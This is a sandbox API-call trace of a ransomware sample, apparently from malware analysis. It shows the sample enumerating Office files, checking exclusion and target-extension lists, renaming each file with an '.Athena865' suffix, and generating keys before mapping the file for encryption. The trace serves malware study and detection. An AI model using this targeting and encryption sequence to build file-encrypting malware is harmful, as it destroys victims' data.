FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6ed0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART13.BDR", cAlternateFileName="")) returned 1 [0151.893] lstrcmpiW (lpString1="MSART13.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.893] lstrcmpiW (lpString1="MSART13.BDR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.893] lstrcmpiW (lpString1="MSART13.BDR", lpString2=".") returned 1 [0151.893] lstrcmpiW (lpString1="MSART13.BDR", lpString2="..") returned 1 [0151.893] lstrcmpiW (lpString1="MSART13.BDR", lpString2="windows") returned -1 [0151.893] lstrcmpiW (lpString1="MSART13.BDR", lpString2="bootmgr") returned 1 [0151.893] lstrcmpiW (lpString1="MSART13.BDR", lpString2="temp") returned -1 [0151.893] lstrcmpiW (lpString1="MSART13.BDR", lpString2="pagefile.sys") returned -1 [0151.893] lstrcmpiW (lpString1="MSART13.BDR", lpString2="boot") returned 1 [0151.893] lstrcmpiW (lpString1="MSART13.BDR", lpString2="ids.txt") returned 1 [0151.893] lstrcmpiW (lpString1="MSART13.BDR", lpString2="ntuser.dat") returned -1 [0151.893] lstrcmpiW (lpString1="MSART13.BDR", lpString2="perflogs") returned -1 [0151.893] lstrcmpiW (lpString1="MSART13.BDR", lpString2="MSBuild") returned -1 [0151.893] lstrlenW (lpString="MSART13.BDR") returned 11 [0151.893] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MSART13.BDR" | out: lpString1="MSART13.BDR") returned="MSART13.BDR" [0151.893] lstrlenW (lpString="MSART13.BDR") returned 11 [0151.893] lstrlenW (lpString="Athena865") returned 9 [0151.894] lstrcmpiW (lpString1="ART13.BDR", lpString2="Athena865") returned -1 [0151.894] lstrlenW (lpString=".dll") returned 4 [0151.894] lstrcmpiW (lpString1="MSART13.BDR", lpString2=".dll") returned 1 [0151.894] lstrlenW (lpString=".lnk") returned 4 [0151.894] lstrcmpiW (lpString1="MSART13.BDR", lpString2=".lnk") returned 1 [0151.894] lstrlenW (lpString=".ini") returned 4 [0151.894] lstrcmpiW (lpString1="MSART13.BDR", lpString2=".ini") returned 1 [0151.894] lstrlenW (lpString=".sys") returned 4 [0151.894] lstrcmpiW (lpString1="MSART13.BDR", lpString2=".sys") returned 1 [0151.894] lstrlenW (lpString="MSART13.BDR") returned 11 [0151.894] lstrlenW (lpString="bak") returned 3 [0151.894] lstrcmpiW (lpString1="BDR", lpString2="bak") returned 1 [0151.894] lstrlenW (lpString="ba_") returned 3 [0151.894] lstrcmpiW (lpString1="BDR", lpString2="ba_") returned 1 [0151.894] lstrlenW (lpString="dbb") returned 3 [0151.894] lstrcmpiW (lpString1="BDR", lpString2="dbb") returned -1 [0151.894] lstrlenW (lpString="vmdk") returned 4 [0151.894] lstrcmpiW (lpString1=".BDR", lpString2="vmdk") returned -1 [0151.894] lstrlenW (lpString="rar") returned 3 [0151.894] lstrcmpiW (lpString1="BDR", lpString2="rar") returned -1 [0151.894] lstrlenW (lpString="zip") returned 3 [0151.894] lstrcmpiW (lpString1="BDR", lpString2="zip") returned -1 [0151.894] lstrlenW (lpString="tgz") returned 3 [0151.894] lstrcmpiW (lpString1="BDR", lpString2="tgz") returned -1 [0151.894] lstrlenW (lpString="vbox") returned 4 [0151.894] lstrcmpiW (lpString1=".BDR", lpString2="vbox") returned -1 [0151.894] lstrlenW (lpString="vdi") returned 3 [0151.895] lstrcmpiW (lpString1="BDR", lpString2="vdi") returned -1 [0151.895] lstrlenW (lpString="vhd") returned 3 [0151.895] lstrcmpiW (lpString1="BDR", lpString2="vhd") returned -1 [0151.895] lstrlenW (lpString="vhdx") returned 4 [0151.895] lstrcmpiW (lpString1=".BDR", lpString2="vhdx") returned -1 [0151.895] lstrlenW (lpString="avhd") returned 4 [0151.895] lstrcmpiW (lpString1=".BDR", lpString2="avhd") returned -1 [0151.895] lstrlenW (lpString="db") returned 2 [0151.895] lstrcmpiW (lpString1="DR", lpString2="db") returned 1 [0151.895] lstrlenW (lpString="db2") returned 3 [0151.895] lstrcmpiW (lpString1="BDR", lpString2="db2") returned -1 [0151.895] lstrlenW (lpString="db3") returned 3 [0151.895] lstrcmpiW (lpString1="BDR", lpString2="db3") returned -1 [0151.895] lstrlenW (lpString="dbf") returned 3 [0151.895] lstrcmpiW (lpString1="BDR", lpString2="dbf") returned -1 [0151.895] lstrlenW (lpString="mdf") returned 3 [0151.895] lstrcmpiW (lpString1="BDR", lpString2="mdf") returned -1 [0151.895] lstrlenW (lpString="mdb") returned 3 [0151.895] lstrcmpiW (lpString1="BDR", lpString2="mdb") returned -1 [0151.895] lstrlenW (lpString="sql") returned 3 [0151.895] lstrcmpiW (lpString1="BDR", lpString2="sql") returned -1 [0151.895] lstrlenW (lpString="sqlite") returned 6 [0151.895] lstrcmpiW (lpString1="13.BDR", lpString2="sqlite") returned -1 [0151.895] lstrlenW (lpString="sqlite3") returned 7 [0151.895] lstrcmpiW (lpString1="T13.BDR", lpString2="sqlite3") returned 1 [0151.895] lstrlenW (lpString="sqlitedb") returned 8 [0151.895] lstrcmpiW (lpString1="RT13.BDR", lpString2="sqlitedb") returned -1 [0151.895] lstrlenW (lpString="xml") returned 3 [0151.896] lstrcmpiW (lpString1="BDR", lpString2="xml") returned -1 [0151.896] lstrlenW (lpString="$er") returned 3 [0151.896] lstrcmpiW (lpString1="BDR", lpString2="$er") returned 1 [0151.896] lstrlenW (lpString="4dd") returned 3 [0151.896] lstrcmpiW (lpString1="BDR", lpString2="4dd") returned 1 [0151.896] lstrlenW (lpString="4dl") returned 3 [0151.896] lstrcmpiW (lpString1="BDR", lpString2="4dl") returned 1 [0151.896] lstrlenW (lpString="^^^") returned 3 [0151.896] lstrcmpiW (lpString1="BDR", lpString2="^^^") returned 1 [0151.896] lstrlenW (lpString="abs") returned 3 [0151.896] lstrcmpiW (lpString1="BDR", lpString2="abs") returned 1 [0151.896] lstrlenW (lpString="abx") returned 3 [0151.896] lstrcmpiW (lpString1="BDR", lpString2="abx") returned 1 [0151.896] lstrlenW (lpString="accdb") returned 5 [0151.896] lstrcmpiW (lpString1="3.BDR", lpString2="accdb") returned -1 [0151.896] lstrlenW (lpString="accdc") returned 5 [0151.896] lstrcmpiW (lpString1="3.BDR", lpString2="accdc") returned -1 [0151.896] lstrlenW (lpString="accde") returned 5 [0151.896] lstrcmpiW (lpString1="3.BDR", lpString2="accde") returned -1 [0151.896] lstrlenW (lpString="accdr") returned 5 [0151.896] lstrcmpiW (lpString1="3.BDR", lpString2="accdr") returned -1 [0151.896] lstrlenW (lpString="accdt") returned 5 [0151.896] lstrcmpiW (lpString1="3.BDR", lpString2="accdt") returned -1 [0151.896] lstrlenW (lpString="accdw") returned 5 [0151.896] lstrcmpiW (lpString1="3.BDR", lpString2="accdw") returned -1 [0151.896] lstrlenW (lpString="accft") returned 5 [0151.896] lstrcmpiW (lpString1="3.BDR", lpString2="accft") returned -1 [0151.896] lstrlenW (lpString="adb") returned 3 [0151.896] lstrcmpiW (lpString1="BDR", lpString2="adb") returned 1 [0151.897] lstrlenW (lpString="adb") returned 3 [0151.897] lstrcmpiW (lpString1="BDR", lpString2="adb") returned 1 [0151.897] lstrlenW (lpString="ade") returned 3 [0151.897] lstrcmpiW (lpString1="BDR", lpString2="ade") returned 1 [0151.897] lstrlenW (lpString="adf") returned 3 [0151.897] lstrcmpiW (lpString1="BDR", lpString2="adf") returned 1 [0151.897] lstrlenW (lpString="adn") returned 3 [0151.897] lstrcmpiW (lpString1="BDR", lpString2="adn") returned 1 [0151.897] lstrlenW (lpString="adp") returned 3 [0151.897] lstrcmpiW (lpString1="BDR", lpString2="adp") returned 1 [0151.897] lstrlenW (lpString="alf") returned 3 [0151.897] lstrcmpiW (lpString1="BDR", lpString2="alf") returned 1 [0151.897] lstrlenW (lpString="ask") returned 3 [0151.897] lstrcmpiW (lpString1="BDR", lpString2="ask") returned 1 [0151.897] lstrlenW (lpString="btr") returned 3 [0151.897] lstrcmpiW (lpString1="BDR", lpString2="btr") returned -1 [0151.897] lstrlenW (lpString="cat") returned 3 [0151.897] lstrcmpiW (lpString1="BDR", lpString2="cat") returned -1 [0151.897] lstrlenW (lpString="cdb") returned 3 [0151.897] lstrcmpiW (lpString1="BDR", lpString2="cdb") returned -1 [0151.897] lstrlenW (lpString="ckp") returned 3 [0151.897] lstrcmpiW (lpString1="BDR", lpString2="ckp") returned -1 [0151.897] lstrlenW (lpString="cma") returned 3 [0151.897] lstrcmpiW (lpString1="BDR", lpString2="cma") returned -1 [0151.897] lstrlenW (lpString="cpd") returned 3 [0151.897] lstrcmpiW (lpString1="BDR", lpString2="cpd") returned -1 [0151.897] lstrlenW (lpString="dacpac") returned 6 [0151.897] lstrcmpiW (lpString1="13.BDR", lpString2="dacpac") returned -1 [0151.897] lstrlenW (lpString="dad") returned 3 [0151.897] lstrcmpiW (lpString1="BDR", lpString2="dad") returned -1 [0151.898] lstrlenW (lpString="dadiagrams") returned 10 [0151.898] lstrcmpiW (lpString1="SART13.BDR", lpString2="dadiagrams") returned 1 [0151.898] lstrlenW (lpString="daschema") returned 8 [0151.898] lstrcmpiW (lpString1="RT13.BDR", lpString2="daschema") returned 1 [0151.898] lstrlenW (lpString="db-journal") returned 10 [0151.898] lstrcmpiW (lpString1="SART13.BDR", lpString2="db-journal") returned 1 [0151.898] lstrlenW (lpString="db-shm") returned 6 [0151.898] lstrcmpiW (lpString1="13.BDR", lpString2="db-shm") returned -1 [0151.898] lstrlenW (lpString="db-wal") returned 6 [0151.898] lstrcmpiW (lpString1="13.BDR", lpString2="db-wal") returned -1 [0151.898] lstrlenW (lpString="dbc") returned 3 [0151.898] lstrcmpiW (lpString1="BDR", lpString2="dbc") returned -1 [0151.898] lstrlenW (lpString="dbs") returned 3 [0151.898] lstrcmpiW (lpString1="BDR", lpString2="dbs") returned -1 [0151.898] lstrlenW (lpString="dbt") returned 3 [0151.898] lstrcmpiW (lpString1="BDR", lpString2="dbt") returned -1 [0151.898] lstrlenW (lpString="dbv") returned 3 [0151.898] lstrcmpiW (lpString1="BDR", lpString2="dbv") returned -1 [0151.898] lstrlenW (lpString="dbx") returned 3 [0151.898] lstrcmpiW (lpString1="BDR", lpString2="dbx") returned -1 [0151.898] lstrlenW (lpString="dcb") returned 3 [0151.898] lstrcmpiW (lpString1="BDR", lpString2="dcb") returned -1 [0151.898] lstrcmpiW (lpString1="BDR", lpString2="dct") returned -1 [0151.898] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.Athena865") returned 72 [0151.898] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr.athena865"), dwFlags=0x1) returned 1 [0151.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.900] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28368) returned 1 [0151.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0151.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0151.901] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0151.901] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.901] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.902] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x71d0, lpName=0x0) returned 0x17c [0151.903] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x71d0) returned 0x100000 [0151.905] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0151.905] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.905] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.905] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0151.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0151.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.906] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.906] CloseHandle (hObject=0x17c) returned 1 [0151.907] CloseHandle (hObject=0x154) returned 1 [0151.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0151.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0151.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.907] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc8bc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART14.BDR", cAlternateFileName="")) returned 1 [0151.907] lstrcmpiW (lpString1="MSART14.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.907] lstrcmpiW (lpString1="MSART14.BDR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.907] lstrcmpiW (lpString1="MSART14.BDR", lpString2=".") returned 1 [0151.907] lstrcmpiW (lpString1="MSART14.BDR", lpString2="..") returned 1 [0151.907] lstrcmpiW (lpString1="MSART14.BDR", lpString2="windows") returned -1 [0151.907] lstrcmpiW (lpString1="MSART14.BDR", lpString2="bootmgr") returned 1 [0151.907] lstrcmpiW (lpString1="MSART14.BDR", lpString2="temp") returned -1 [0151.907] lstrcmpiW (lpString1="MSART14.BDR", lpString2="pagefile.sys") returned -1 [0151.907] lstrcmpiW (lpString1="MSART14.BDR", lpString2="boot") returned 1 [0151.907] lstrcmpiW (lpString1="MSART14.BDR", lpString2="ids.txt") returned 1 [0151.907] lstrcmpiW (lpString1="MSART14.BDR", lpString2="ntuser.dat") returned -1 [0151.907] lstrcmpiW (lpString1="MSART14.BDR", lpString2="perflogs") returned -1 [0151.907] lstrcmpiW (lpString1="MSART14.BDR", lpString2="MSBuild") returned -1 [0151.908] lstrlenW (lpString="MSART14.BDR") returned 11 [0151.908] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MSART14.BDR" | out: lpString1="MSART14.BDR") returned="MSART14.BDR" [0151.908] lstrlenW (lpString="MSART14.BDR") returned 11 [0151.908] lstrlenW (lpString="Athena865") returned 9 [0151.908] lstrcmpiW (lpString1="ART14.BDR", lpString2="Athena865") returned -1 [0151.908] lstrlenW (lpString=".dll") returned 4 [0151.908] lstrcmpiW (lpString1="MSART14.BDR", lpString2=".dll") returned 1 [0151.908] lstrlenW (lpString=".lnk") returned 4 [0151.908] lstrcmpiW (lpString1="MSART14.BDR", lpString2=".lnk") returned 1 [0151.908] lstrlenW (lpString=".ini") returned 4 [0151.908] lstrcmpiW (lpString1="MSART14.BDR", lpString2=".ini") returned 1 [0151.908] lstrlenW (lpString=".sys") returned 4 [0151.908] lstrcmpiW (lpString1="MSART14.BDR", lpString2=".sys") returned 1 [0151.908] lstrlenW (lpString="MSART14.BDR") returned 11 [0151.908] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.Athena865") returned 72 [0151.908] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr.athena865"), dwFlags=0x1) returned 1 [0151.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.910] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=51388) returned 1 [0151.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0151.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0151.910] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0151.911] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.911] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.911] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcbc0, lpName=0x0) returned 0x17c [0151.915] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcbc0) returned 0x100000 [0151.918] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0151.918] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.918] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0151.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0151.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.919] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.920] CloseHandle (hObject=0x17c) returned 1 [0151.920] CloseHandle (hObject=0x154) returned 1 [0151.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0151.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0151.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.920] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x6b14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART15.BDR", cAlternateFileName="")) returned 1 [0151.920] lstrcmpiW (lpString1="MSART15.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.920] lstrcmpiW (lpString1="MSART15.BDR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.920] lstrcmpiW (lpString1="MSART15.BDR", lpString2=".") returned 1 [0151.920] lstrcmpiW (lpString1="MSART15.BDR", lpString2="..") returned 1 [0151.920] lstrcmpiW (lpString1="MSART15.BDR", lpString2="windows") returned -1 [0151.920] lstrcmpiW (lpString1="MSART15.BDR", lpString2="bootmgr") returned 1 [0151.920] lstrcmpiW (lpString1="MSART15.BDR", lpString2="temp") returned -1 [0151.920] lstrcmpiW (lpString1="MSART15.BDR", lpString2="pagefile.sys") returned -1 [0151.920] lstrcmpiW (lpString1="MSART15.BDR", lpString2="boot") returned 1 [0151.920] lstrcmpiW (lpString1="MSART15.BDR", lpString2="ids.txt") returned 1 [0151.920] lstrcmpiW (lpString1="MSART15.BDR", lpString2="ntuser.dat") returned -1 [0151.921] lstrcmpiW (lpString1="MSART15.BDR", lpString2="perflogs") returned -1 [0151.921] lstrcmpiW (lpString1="MSART15.BDR", lpString2="MSBuild") returned -1 [0151.921] lstrlenW (lpString="MSART15.BDR") returned 11 [0151.921] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MSART15.BDR" | out: lpString1="MSART15.BDR") returned="MSART15.BDR" [0151.921] lstrlenW (lpString="MSART15.BDR") returned 11 [0151.921] lstrlenW (lpString="Athena865") returned 9 [0151.921] lstrcmpiW (lpString1="ART15.BDR", lpString2="Athena865") returned -1 [0151.921] lstrlenW (lpString=".dll") returned 4 [0151.921] lstrcmpiW (lpString1="MSART15.BDR", lpString2=".dll") returned 1 [0151.921] lstrlenW (lpString=".lnk") returned 4 [0151.921] lstrcmpiW (lpString1="MSART15.BDR", lpString2=".lnk") returned 1 [0151.921] lstrlenW (lpString=".ini") returned 4 [0151.921] lstrcmpiW (lpString1="MSART15.BDR", lpString2=".ini") returned 1 [0151.921] lstrlenW (lpString=".sys") returned 4 [0151.921] lstrcmpiW (lpString1="MSART15.BDR", lpString2=".sys") returned 1 [0151.921] lstrlenW (lpString="MSART15.BDR") returned 11 [0151.921] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.Athena865") returned 72 [0151.921] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr.athena865"), dwFlags=0x1) returned 1 [0151.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.923] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27412) returned 1 [0151.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0151.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0151.923] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0151.924] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.924] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.924] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6e20, lpName=0x0) returned 0x17c [0151.925] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6e20) returned 0x100000 [0151.927] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0151.928] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.928] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.928] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0151.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0151.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.929] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.929] CloseHandle (hObject=0x17c) returned 1 [0151.929] CloseHandle (hObject=0x154) returned 1 [0151.929] 